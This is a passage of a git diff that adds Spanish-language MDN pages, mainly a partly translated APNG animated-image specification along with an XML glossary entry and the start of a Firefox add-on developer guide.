+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/XForms">XForms documentation on MDN</a></li>
+</ul>
diff --git a/files/es/glossary/xml/index.html b/files/es/glossary/xml/index.html
new file mode 100644
index 0000000000..af9c06c40d
--- /dev/null
+++ b/files/es/glossary/xml/index.html
@@ -0,0 +1,30 @@
+---
+title: XML
+slug: Glossary/XML
+tags:
+  - Bases de datos
+  - Datos
+  - Glosario
+  - HTML
+  - Lenguaje
+  - Tags
+  - Web
+  - XML
+  - 'l10n:priority'
+  - lenguaje de marcado
+translation_of: Glossary/XML
+---
+<p><em>XML (</em>eXtensible Markup Language en español <strong>Lenguaje de Marcado eXtensible</strong>) es un lenguaje de marcado genérico especificado por la W3C. La industria de tecnologías de la información (<em>IT Industry</em>) utiliza muchos lenguajes de descripción de datos (<em>data-description language</em>) que están basados en XML.</p>
+
+<p>Las etiquetas XML ó <em>tags </em>son muy similares a las de <a href="/es/docs/Glossary/HTML">HTML</a>, pero en el caso de XML, es mucho más flexible debido a que permite a los usuarios definir sus propias etiquetas. En este sentido XML actúa como un metalenguaje (debido a esto, puede ser usado para definir otros lenguajes como por ejemplo <a href="/es/docs/Glossary/RSS">RSS</a>). Además de esto, cabe señalar que HTML es un lenguaje de presentación, miestras que XML es un lenguaje descripción de datos.</p>
+
+<p>Esto significa que XML tiene una mayor aplicación; por ejemplo, a través de XML los servicios web pueden intercambiar peticiones y respuestas.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia","XML")}} en Wikipedia</li>
+ <li><a href="/es/docs/Introducción_a_XML">Introducción a XML</a></li>
+</ul>
diff --git a/files/es/gráficos_png_animados/index.html b/files/es/gráficos_png_animados/index.html
new file mode 100644
index 0000000000..e392dc7c70
--- /dev/null
+++ b/files/es/gráficos_png_animados/index.html
@@ -0,0 +1,548 @@
+---
+title: Gráficos PNG animados
+slug: Gráficos_PNG_animados
+tags:
+  - Firefox 3
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/APNG
+---
+<p></p>
+
+<h3 id="Autores" name="Autores">Autores</h3>
+
+<p>La especificación APNG fué escrita por:</p>
+
+<ul>
+ <li>Stuart Parmenter &lt;<a class="link-mailto" href="mailto:pavlov@pavlov.net" rel="freelink">pavlov@pavlov.net</a>&gt;</li>
+ <li>Vladimir Vukicevic &lt;<a class="link-mailto" href="mailto:vladimir@pobox.com" rel="freelink">vladimir@pobox.com</a>&gt;</li>
+ <li>Andrew Smith &lt;<a class="link-mailto" href="mailto:asmith15@littlesvr.ca" rel="freelink">asmith15@littlesvr.ca</a>&gt;</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p>APNG es una extensión del formato (PNG) <a class="external" href="http://www.w3.org/TR/PNG/">Portable Network Graphics</a> que agrega soporte para imágenes animadas. Se pretende que sea una simple sustitución de las imágenes animadas que tradicionalmente han utilizado el formato GIF, añadiendo soporte para imágenes de 24 bits y de 8-bit de transparencia. APNG es una alternativa simple a MNG, proporcionando una especificación adecuada para el uso común de imágenes animadas en Internet.</p>
+
+<p>APNG es compatible con PNG y cualquier decodificador de formato PNG puede ignorar los fragmentos de APNG y mostrar la imagen codificada.</p>
+
+<h4 id="Terminolog.C3.ADa" name="Terminolog.C3.ADa">Terminología</h4>
+
+<p><strong>Imagen por defecto:</strong>se especifica en el fragmento 'IDAT' y es mostrada por decodificadores que no soporten APNG.</p>
+
+<p><strong>Canvas</strong> is the area on the output device on which the frames are to be displayed. Los contenidos de los canvas no esta necesariamente disponible para el decodificador. As per the PNG Specification, if a 'bKGD' chunk exists it may be used to fill the canvas if there is no preferrable background.</p>
+
+<p>The <strong>output buffer</strong> is a pixel array with dimensions specified by the width and height parameters of the PNG 'IHDR' chunk. Conceptually, each frame is constructed in the output buffer before being composited onto the canvas. The contents of the output buffer are available to the decoder. The corners of the output buffer are mapped to the corners of the canvas.</p>
+
+<p><strong>Fully transparent black</strong> means red, green, blue and alpha components are all set to zero.</p>
+
+<p>For purposes of chunk descriptions, an <code><strong>unsigned int</strong></code> shall be a 32-bit unsigned integer in network byte order limited to the range 0 to (2^31)-1; an <code><strong>unsigned short</strong></code> shall be a 16-bit unsigned integer in network byte order with the range 0 to (2^16)-1; and a <code><strong>byte</strong></code> shall be an 8-bit unsigned integer with the range 0 to (2^8)-1.</p>
+
+<h4 id="Error_handling" name="Error_handling">Manejo de errores</h4>
+
+<p>APNG is designed to allow incremental display of frames before the entire image has been read. This implies that some errors may not be detected until partway through the animation. It is strongly recommended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and revert to displaying the default image. A decoder which detects an error before the animation has started should display the default image. An error message may be displayed to the user if appropriate.</p>
+
+<h3 id="Estructura" name="Estructura">Estructura</h3>
+
+<p>An APNG stream is a normal PNG stream as defined in the <a class="external" href="http://www.w3.org/TR/PNG/">PNG Specification</a>, with three additional chunk types describing the animation and providing additional frame data.</p>
+
+<p>To be recognized as an APNG, an 'acTL' chunk must appear in the stream before any 'IDAT' chunks. The 'acTL' structure is described below.</p>
+
+<p>Conceptually, at the beginning of each play the output buffer must be completely initialized to a fully transparent black rectangle, with width and height dimensions from the 'IHDR' chunk.</p>
+
+<p>The default image may be included as the first frame of the animation by the presence of a single 'fcTL' chunk before 'IDAT'. Otherwise, the default image is not part of the animation.</p>
+
+<p>Subsequent frames are encoded in 'fdAT' chunks, which have the same structure as 'IDAT' chunks, except preceded by a sequence number. Information for each frame about placement and rendering is stored in 'fcTL' chunks. The full layout of 'fdAT' and 'fcTL' chunks is described below.</p>
+
+<p>The boundaries of the entire animation are specified by the width and height parameters of the PNG 'IHDR' chunk, regardless of whether the default image is part of the animation. The default image should be appropriately padded with fully transparent pixels if extra space will be needed for later frames.</p>
+
+<p>Each frame is identical for each play, therefore it is safe for applications to cache the frames.</p>
+
+<h3 id="Chunk_sequence_numbers" name="Chunk_sequence_numbers">Chunk sequence numbers</h3>
+
+<p>The 'fcTL' and 'fdAT' chunks have a 4 byte sequence number. Both chunk types share the sequence. The purpose of this number is to detect (and optionally correct) sequence errors in an Animated PNG, since the PNG specification does not impose ordering restrictions on ancillary chunks.</p>
+
+<p>The first 'fcTL' chunk must contain sequence number 0, and the sequence numbers in the remaining 'fcTL' and 'fdAT' chunks must be in order, with no gaps or duplicates.</p>
+
+<p>The tables below illustrates the use of sequence numbers for images with more than one frame and more than one 'fdAT' chunk.</p>
+
+<p><strong>If the default image is the first frame:</strong></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Sequence number</th>
+   <th>Chunk</th>
+  </tr>
+  <tr>
+   <td>(none)</td>
+   <td>'acTL'</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>'fcTL' (first frame)</td>
+  </tr>
+  <tr>
+   <td>(none)</td>
+   <td>'IDAT' (first frame -- used as the default image)</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>'fcTL' (second frame)</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>'fdAT' (first 'fDAT' for second frame)</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>'fdAT' (second 'fDAT' for second frame)</td>
+  </tr>
+  <tr>
+   <td>...</td>
+   <td>...</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>If the default image is not part of the animation:</strong></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Sequence number</th>
+   <th>Chunk</th>
+  </tr>
+  <tr>
+   <td>(none)</td>
+   <td>'acTL'</td>
+  </tr>
+  <tr>
+   <td>(none)</td>
+   <td>'IDAT' (default image)</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>'fcTL' (first frame)</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>First 'fdAT' for first frame</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Second 'fDAT' for first frame</td>
+  </tr>
+  <tr>
+   <td>...</td>
+   <td>...</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Decoders must treat out-of-order APNG chunks as an error. APNG-aware PNG editors should restore them to correct order using the sequence numbers.</p>
+
+<h3 id=".27acTL.27:_The_Animation_Control_Chunk" name=".27acTL.27:_The_Animation_Control_Chunk">'acTL': The Animation Control Chunk</h3>
+
+<p>The 'acTL' chunk is an ancillary chunk as defined in the PNG Specification. It must appear before the first 'IDAT' chunk within a valid PNG stream.</p>
+
+<p>The 'acTL' chunk contains:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Byte offset</th>
+   <th>Field name</th>
+   <th>Field type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>num_frames</code></td>
+   <td><code>unsigned int</code></td>
+   <td>The number of frames in the APNG.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>num_plays</code></td>
+   <td><code>unsigned int</code></td>
+   <td>The number of times to loop this APNG. 0 indicates infinite looping.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>num_frames</code> indicates the total number of frames in the animation. This must equal the number of 'fcTL' chunks. 0 is not a valid value. 1 is a valid value for a single-frame APNG. If this value does not equal the actual number of frames it should be treated as an error.</p>
+
+<p><code>num_plays</code> indicates the number of times that this animation should play; if it is 0, the animation should play indefinitely. If nonzero, the animation should come to rest on the final frame at the end of the last play.</p>
+
+<h3 id=".27fcTL.27:_The_Frame_Control_Chunk" name=".27fcTL.27:_The_Frame_Control_Chunk">'fcTL': The Frame Control Chunk</h3>
+
+<p>The 'fcTL' chunk is an ancillary chunk as defined in the PNG Specification. It must appear before the 'IDAT' or 'fdAT' chunks of the frame to which it applies, specifically:</p>
+
+<ul>
+ <li>For the default image, if a 'fcTL' chunk is present it must appear before the first 'IDAT' chunk. Position relative to the 'acTL' chunk is not specified.</li>
+ <li>For the first frame excluding the default image (which may be either the first or second frame), the 'fcTL' chunk must appear after all 'IDAT' chunks and before the 'fdAT' chunks for the frame.</li>
+ <li>For all subsequent frames, the 'fcTL' chunk for frame N must appear after the 'fdAT' chunks from frame N-1 and before the 'fdAT' chunks for frame N.</li>
+ <li>Other ancillary chunks are allowed to appear among the APNG chunks, including between 'fdAT' chunks.</li>
+</ul>
+
+<p>Exactly one 'fcTL' chunk is required for each frame.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Byte offset</th>
+   <th>Field name</th>
+   <th>Field type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>sequence_number</code></td>
+   <td><code>unsigned int</code></td>
+   <td>Sequence number of the animation chunk, starting with 0.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>width</code></td>
+   <td><code>unsigned int</code></td>
+   <td>Width of the following frame.</td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td><code>height</code></td>
+   <td><code>unsigned int</code></td>
+   <td>Height of the following frame.</td>
+  </tr>
+  <tr>
+   <td>12</td>
+   <td><code>x_offset</code></td>
+   <td><code>unsigned int</code></td>
+   <td>X position at which to render the following frame.</td>
+  </tr>
+  <tr>
+   <td>16</td>
+   <td><code>y_offset</code></td>
+   <td><code>unsigned int</code></td>
+   <td>Y position at which to render the following frame.</td>
+  </tr>
+  <tr>
+   <td>20</td>
+   <td><code>delay_num</code></td>
+   <td><code>unsigned short</code></td>
+   <td>Frame delay fraction numerator.</td>
+  </tr>
+  <tr>
+   <td>22</td>
+   <td><code>delay_den</code></td>
+   <td><code>unsigned short</code></td>
+   <td>Frame delay fraction denominator.</td>
+  </tr>
+  <tr>
+   <td>24</td>
+   <td><code>dispose_op</code></td>
+   <td><code>byte</code></td>
+   <td>Type of frame area disposal to be done after rendering this frame.</td>
+  </tr>
+  <tr>
+   <td>25</td>
+   <td><code>blend_op</code></td>
+   <td><code>byte</code></td>
+   <td>Type of frame area rendering for this frame.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The frame must be rendered within the region defined by <code>x_offset</code>, <code>y_offset</code>, <code>width</code>, and <code>height</code>. The offsets must be non-negative, the dimensions must be positive, and the region may not fall outside of the default image.</p>
+
+<p>Constraints on frame regions:</p>
+
+<ul>
+ <li><code>x_offset</code> &gt;= 0</li>
+ <li><code>y_offset</code> &gt;= 0</li>
+ <li><code>width</code> &gt; 0</li>
+ <li><code>height</code> &gt; 0</li>
+ <li><code>x_offset</code> + <code>width</code> &lt;= 'IHDR' width</li>
+ <li><code>y_offset</code> + <code>height</code> &lt;= 'IHDR' height</li>
+</ul>
+
+<p>The <code>delay_num</code> and <code>delay_den</code> parameters together specify a fraction indicating the time to display the current frame, in seconds. If the denominator is 0, it is to be treated as if it were 100 (that is, <code>delay_num</code> then specifies 1/100ths of a second). If the the value of the numerator is 0 the decoder should render the next frame as quickly as possible, though viewers may impose a reasonable lower bound.</p>
+
+<p>Frame timings should be independent of the time required for decoding and display of each frame, so that animations will run at the same rate regardless of the performance of the decoder implementation.</p>
+
+<p><code>dispose_op</code> specifies how the output buffer should be changed at the end of the delay (before rendering the next frame).</p>
+
+<p>Valid values for <code>dispose_op</code> are:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Value</th>
+   <th>Constant</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>APNG_DISPOSE_OP_NONE</code></td>
+   <td>No disposal is done on this frame before rendering the next; the contents of the output buffer are left as is.</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><code>APNG_DISPOSE_OP_BACKGROUND</code></td>
+   <td>The frame's region of the output buffer is to be cleared to fully transparent black before rendering the next frame.</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td><code>APNG_DISPOSE_OP_PREVIOUS</code></td>
+   <td>The frame's region of the output buffer is to be reverted to the previous contents before rendering the next frame.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>If the first 'fcTL' chunk uses a <code>dispose_op</code> of <code>APNG_DISPOSE_OP_PREVIOUS</code> it should be treated as <code>APNG_DISPOSE_OP_BACKGROUND</code>.</p>
+
+<p><code>blend_op&lt;code&gt; specifies whether the frame is to be alpha blended into the current output buffer content, or whether it should completely replace its region in the output buffer. </code></p>
+
+<p>Valid values for &lt;code&gt;blend_op are:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Value</th>
+   <th>Constant</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>APNG_BLEND_OP_SOURCE</code></td>
+   <td>All color components of the frame, including alpha, overwrite the current contents of the frame's output buffer region.</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><code>APNG_BLEND_OP_OVER</code></td>
+   <td>The frame should be composited onto the output buffer based on its alpha, using a simple OVER operation as described in the <a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html#D.Alpha-channel-processing">Alpha Channel Processing</a> section of the <a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html">Extensions to the PNG Specification, Version 1.2.0</a>. Note that the second variation of the sample code is applicable.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Note that for the first frame the two blend modes are functionally equivalent due to the clearing of the output buffer at the beginning of each play.</p>
+
+<p>The 'fcTL' chunk corresponding to the default image, if it exists, has these restrictions:</p>
+
+<ul>
+ <li>The <code>x_offset</code> and <code>y_offset</code> fields must be 0.</li>
+ <li>The <code>width</code> and <code>height</code> fields must equal the corresponding fields from the 'IHDR' chunk.</li>
+</ul>
+
+<p>As noted earlier, the output buffer must be completely initialized to fully transparent black at the beginning of each play. This is to ensure that each play of the animation will be identical. Decoders are free to avoid an explicit clear step as long as the result is guaranteed to be identical. For example, if the default image is included in the animation, and uses a <code>blend_op</code> of <code>APNG_BLEND_OP_SOURCE</code>, clearing is not necessary because the entire output buffer will be overwritten.</p>
+
+<h3 id=".27fdAT.27:_The_Frame_Data_Chunk" name=".27fdAT.27:_The_Frame_Data_Chunk">'fdAT': The Frame Data Chunk</h3>
+
+<p>The 'fdAT' chunk has the same purpose as an 'IDAT' chunk. It has the same structure as an 'IDAT' chunk, except preceded by a sequence number.</p>
+
+<p>At least one 'fdAT' chunk is required for each frame. The compressed datastream is then the concatenation of the contents of the data fields of all the 'fdAT' chunks within a frame. When decompressed, the datastream is the complete pixel data of a PNG image, including the filter byte at the beginning of each scanline, similar to the uncompressed data of all the 'IDAT' chunks. It utilizes the same bit depth, color type, compression method, filter method, interlace method, and palette (if any) as the default image.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Byte offset</th>
+   <th>Field name</th>
+   <th>Field type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>sequence_number</code></td>
+   <td><code>unsigned int</code></td>
+   <td>Sequence number of the animation chunk, starting from 0.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>frame_data</code></td>
+   <td>X <code>bytes</code></td>
+   <td>Frame data for this frame.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Each frame inherits every property specified by any critical or ancillary chunks before the first 'IDAT' in the file, except the width and height, which come from the 'fcTL' chunk.</p>
+
+<p>If the PNG 'pHYs' chunk is present, the APNG images and their <code>x_offset</code> and <code>y_offset</code> values must be scaled in the same way as the main image. Conceptually, such scaling occurs while mapping the output buffer onto the canvas.</p>
+
+<h3 id="Revisions_to_this_specification" name="Revisions_to_this_specification">Revisions to this specification</h3>
+
+<h4 id="From_0.1" name="From_0.1">From 0.1</h4>
+
+<ul>
+ <li>Renamed chunks to 'anIm' and 'frAm' to comply with chunk naming conventions in the PNG spec.</li>
+</ul>
+
+<ul>
+ <li>Added a more detailed explanation of APNG structure in Section 2.</li>
+</ul>
+
+<ul>
+ <li>Added information for png interaction with other chunks in section 3.2.</li>
+</ul>
+
+<ul>
+ <li>Changed 'frAm' chunk offsets and delay into signed integers.</li>
+</ul>
+
+<h4 id="From_0.2" name="From_0.2">From 0.2</h4>
+
+<ul>
+ <li>Changed 'frAm' chunk to 'afRa' to avoid conflict with MNG 'FRAM' chunk.</li>
+</ul>
+
+<ul>
+ <li>Changed format: instead of sequences of IHDR..IDAT..IEND, frames other than frame 0 are stored in 'afRa' chunks.</li>
+</ul>
+
+<ul>
+ <li>Added <code>start_frame</code> to 'anIm' to indicate which frame the animation should start on.</li>
+</ul>
+
+<ul>
+ <li>Removed <code>num_frames</code> from 'anIm' chunk</li>
+</ul>
+
+<h4 id="From_0.3" name="From_0.3">From 0.3</h4>
+
+<ul>
+ <li>Added 'aCTL', 'fdAT', 'fcTL' chunk descriptions as per the latest png-list discussion</li>
+</ul>
+
+<ul>
+ <li>Added section 4, "Interactions with other PNG chunks"; described global and local palettes and transparency</li>
+</ul>
+
+<ul>
+ <li>Changed 'oFFs' chunk section to refer to more general chunks</li>
+</ul>
+
+<ul>
+ <li>Updated 'aDAT' description to indicate that all frames must either be in a single chunk, or that the first chunk must have empty data.</li>
+</ul>
+
+<ul>
+ <li>Added notice that each frame's region (x,y,width,height) must lie completely within the parent PNG canvas</li>
+</ul>
+
+<ul>
+ <li>Fixed <code>dispose_op</code> description (after, not before)</li>
+</ul>
+
+<ul>
+ <li>Changed <code>dispose_op</code> to <code>render_op</code>; added disposal description; added <code>BLEND</code> flag</li>
+</ul>
+
+<ul>
+ <li>Changed <code>delay_time</code> to a delay numerator and denominator, for specifying delays that don't into integer numbers of milliseconds.</li>
+</ul>
+
+<ul>
+ <li>Added note to clarify that palette animation is not supported.</li>
+</ul>
+
+<ul>
+ <li>Removed <code>start_frame</code> from aCTL; require fcTL for frame 0; added <code>SKIP_FRAME</code> fCTL flag.</li>
+</ul>
+
+<h4 id="From_0.4" name="From_0.4">From 0.4</h4>
+
+<ul>
+ <li>Reintroduced <code>num_frames</code> into aCTL</li>
+</ul>
+
+<ul>
+ <li>Moved <code>sequence_number</code> from aDAT into fCTL</li>
+</ul>
+
+<ul>
+ <li>Changed contents of aDAT to fCTL+IDATs+fEND</li>
+</ul>
+
+<ul>
+ <li>Added clarifications on what's allowed and what isn't</li>
+</ul>
+
+<ul>
+ <li>Renamed aCTL to acTL, fCTL to fcTL, aDAT to fdAT and fEND to feND to comply with the PNG spec chunk naming requirements</li>
+</ul>
+
+<h4 id="From_0.5" name="From_0.5">From 0.5</h4>
+
+<ul>
+ <li>Added the IHDR and PLTE CRCs to the acTl chunk</li>
+</ul>
+
+<ul>
+ <li>The acTL fcTL and adAT are now copy safe, renamed them to acTl, fcTl and adAt</li>
+</ul>
+
+<h4 id="From_0.6" name="From_0.6">From 0.6</h4>
+
+<ul>
+ <li>The fdAt chunk is no longer a container for other chunks, but rather a replacement for an IDAT chunk</li>
+</ul>
+
+<ul>
+ <li>Removed the feND chunk</li>
+</ul>
+
+<ul>
+ <li>Added a sequence number field to fdAt</li>
+</ul>
+
+<ul>
+ <li>Reintroduced the <code>width</code> and <code>height</code> fields in fcTl</li>
+</ul>
+
+<h4 id="From_0.7" name="From_0.7">From 0.7</h4>
+
+<ul>
+ <li>Removed <code>hidden</code> flag, instead only the first frame can be hidden and it is signaled with a missing fcTl</li>
+</ul>
+
+<ul>
+ <li>IDAT, fcTl and fdAt are no longer required to have no other chunks in between them</li>
+</ul>
+
+<h4 id="From_0.8" name="From_0.8">From 0.8</h4>
+
+<ul>
+ <li>Removed CRCs for IHDR and PLTE from acTl</li>
+</ul>
+
+<ul>
+ <li>The acTL fcTL and adAT are now not copy safe, renamed them to acTL, fcTL and adAT</li>
+</ul>
+
+<h4 id="From_0.9" name="From_0.9">From 0.9</h4>
+
+<ul>
+ <li>Split <code>render_op</code> into <code>dispose_op</code> and <code>blend_op</code></li>
+</ul>
+
+<h4 id="From_0.10" name="From_0.10">From 0.10</h4>
+
+<ul>
+ <li>No changes</li>
+</ul>
+
+<h3 id="Test_Encoder_and_Sample_Images" name="Test_Encoder_and_Sample_Images">Test Encoder and Sample Images</h3>
+
+<p>Sample images are available from the APNG implementation page at <a class="external" href="http://littlesvr.ca/apng/" rel="freelink">http://littlesvr.ca/apng/</a></p>
+
+<p>An encoder (open source) is available in versions of the Gecko engine starting with version 1.9 alpha 4.</p>
+
+<p>An application (open source) using the Mozilla encoder to assemble APNGs available here: <a class="external" href="http://littlesvr.ca/apng/apngedit.html" rel="freelink">http://littlesvr.ca/apng/apngedit.html</a></p>
+
+<h3 id="See_also" name="See_also">See also</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/PNG/">Portable Network Graphics (PNG) Specification (Second Edition)</a></li>
+ <li><a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html">Extensions to the PNG Specification, Version 1.2.0</a></li>
+ <li><a class="external" href="http://www.w3.org/Graphics/GIF/spec-gif89a.txt">Graphics Interchange Format 89a</a></li>
+</ul>
diff --git a/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/index.html b/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/index.html
new file mode 100644
index 0000000000..b4510b3822
--- /dev/null
+++ b/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/index.html
@@ -0,0 +1,23 @@
+---
+title: Guía para el desarrollador de agregados para Firefox
+slug: Guía_para_el_desarrollador_de_agregados_para_Firefox
+---
+<p><em><br>
+</em>{{ Next("Firefox addons developer guide/Introduction to Extensions") }}</p>
+<p><a class="internal" href="/es/Guía_para_el_desarrollador_de_agregados_para_Firefox/Introducción_a_las_extensiones" title="Es/Guía para el desarrollador de agregados para Firefox/Introducción a las extensiones">Capítulo 1: Introducción a las extensiones</a></p>
+<p><a class="internal" href="/Es/Guía_para_el_desarrollador_de_agregados_para_Firefox/Tecnologías_usadas_en_el_desarrollo_de_extensiones" title="Es/Guía para el desarrollador de agregados para Firefox/Tecnologías usadas en el desarrollo de extensiones">Capítulo 2: Tecnologías usadas para el desarrollo de extensiones<br>
+</a></p>
+<p><a class="internal" href="/En/Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI" title="En/Firefox Addons Dev Guide/Introduction
+to XUL—How to build a more intuitive UI">Chapter 3: Introduction to XUL—How to build a more intuitive UI</a></p>
+<p><a class="internal" href="/En/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using
+XPCOM—Implementing advanced processes">Chapter 4: Using XPCOM—Implementing advanced processes</a></p>
+<p><a class="internal" href="/En/Firefox_addons_developer_guide/Let's_build_a_Firefox_extension" title="En/Firefox addons developer guide/Let's
+build a Firefox extension">Chapter 5: Let's build a Firefox extension</a> </p>
+<p><a class="internal" href="/En/Firefox_addons_developer_guide/Firefox_extensions_and_XUL_applications" title="En/Firefox addons developer guide/Firefox
+extensions and XUL applications">Chapter 6: Firefox extensions and XUL applications</a></p>
+<p><a class="internal" href="/En/Firefox_addons_developer_guide/License_authors" title="En/Firefox addons developer guide/License authors"><strong>License and authors</strong></a></p>
+<p>{{ Next("Guía para el desarrollador de agregados para Firefox/Introducción a las extensiones") }}</p>
+<p>{{ languages( { "de" : "de/Firefox_addons_developer_guide", "en" : "en/Firefox_addons_developer_guide" }) }}<em><br>
+</em></p>
+<p><a href="/en:Firefox_addons_developer_guide" title="en:Firefox_addons_developer_guide"><br>
+</a></p>
diff --git a/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/introducción_a_las_extensiones/index.html b/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/introducción_a_las_extensiones/index.html
new file mode 100644
index 0000000000..b925716b8b
--- /dev/null
+++ b/files/es/guía_para_el_desarrollador_de_agregados_para_firefox/introducción_a_las_extensiones/index.html
@@ -0,0 +1,192 @@
+---
+title: Introducción a las extensiones
+slug: >-
+  Guía_para_el_desarrollador_de_agregados_para_Firefox/Introducción_a_las_extensiones
+---
+<p style="text-align: justify;">{{ Draft() }}</p>
+
+<p>{{ PreviousNext("Guía para el desarrollador de agregados para Firefox", "Guía para el desarrollador de agregados para Firefox/Tecnologías usadas en el desarrollo de extensiones") }}</p>
+
+<div class="note"><strong>Nota: </strong>Si desea contribuir en este documento, por favor siga las directivas de la página de <a class="internal" href="/Es/Guía_para_el_desarrollador_de_agregados_para_Firefox/Contribución" title="Es/Guía para el desarrollador de agregados para Firefox/Contribución">Contribución</a>.</div>
+
+<p><em>Este documento fue creado por </em><a class="external" href="http://level.s69.xrea.com/mozilla/" title="http://level.s69.xrea.com/mozilla/"><em>Hideyuki Emura</em></a><em> y fue originalmente publicado en japonés para la </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Emura-san es un coautor de <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008.)</em></p>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Si estás leyendo esta guía, probablemente ya has usado Firefox. Quizás la primera vez que miraste Firefox, te has sorprendido de ver que tiene una estructura mucho más simple que otros exploradores de amplias funcionalidades, como Opera o Safari.</p>
+
+<p>¿Qué funcionalidades son consideradas estándar en los exploradores web en estos días? Tal vez cosas como controles de pestañas de "granulado fino", gestos con el ratón, botones y barras de herramientas amplias, un lector de fuentes web, integración con una variedad de aplicaciones web, o herramientas sofisticadas para asistir el diseño web. Pero no nos hemos propuesto crear un explorador todo-en-uno que pueda satisfacer a todos.</p>
+
+<p>En su lugar, Firefox puede soportar esas funcionalidades a través de extensiones. El explorador básico está limitado a funcionalidades básicas, así es algo con lo que un principiante se siente cómodo, pero los usuarios que quieren ir más allá pueden instalar extensiones.</p>
+
+<h2 id="Acerca_de_las_extensiones">Acerca de las extensiones</h2>
+
+<h3 id="Manejo_usando_el_administrador_de_complementos">Manejo usando el administrador de complementos</h3>
+
+<p>El administrador de complementos de Firefox es una excelente forma de manejar las extensiones, y es un gran avance es facilidad de uso.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/3818/=addons-manager.png" style="height: 462px; width: 563px;"></p>
+
+<p>El administrador de complementos se encarga de las siguientes tareas:</p>
+
+<ul>
+ <li>Instalar y desinstalar complementos de mandera segura</li>
+ <li>Asegurarse de que los complementos sean compatibles con la versión de Firefox en uso</li>
+ <li>Administrar la lista blanca de sitios en los que se confía para instalar complementos</li>
+ <li>Ayudar a solucionar problemas de los complementos deshabilitándolos y ofreciéndolos en modo seguro</li>
+ <li>Confirma y ejecuta actualizaciones</li>
+ <li>Proveé acceso a las ventanas de configuración de complementos</li>
+ <li>Proveé acceso a los sitios de soporte de los complementos</li>
+</ul>
+
+<h3 id="Comodidades_para_el_entorno_de_desarrollo">Comodidades para el entorno de desarrollo</h3>
+
+<p>Inicialmente, no había disponible una documentacíon adecuada, y los desarrolladores de extensiones quedaban en gran medida a su suerte<sup><a href="#footnote1" id="from_footnote1">1</a></sup>; sin embargo, ahora hay una considerable acumulación de conocimientos.</p>
+
+<p>Como Firefox y sus extensiones están diseñados para soportar múltiples idiomas, llegan excelentes ideas de todo el mundo, y pueden ser rápidamente localizadas por cualquier interesado.</p>
+
+<p>Esto disminuye el umbral tanto para el uso como para el desarrollo de extesiones; de hecho, combinado con el rápido crecimiento de la popularidad de Firefox, ha creado un bucle de retroalimentación positiva, con e número de usuarios y desarrolladores de extensiones aumentando explosivamente —actualmente hay más de 7000 extensiones y temas publicados en el sitio de Complementos para Firefox (<a class="link-https" href="https://addons.mozilla.org" rel="freelink">https://addons.mozilla.org</a>).</p>
+
+<h2 id="Qué_puedes_hacer_con_extensiones">Qué puedes hacer con extensiones</h2>
+
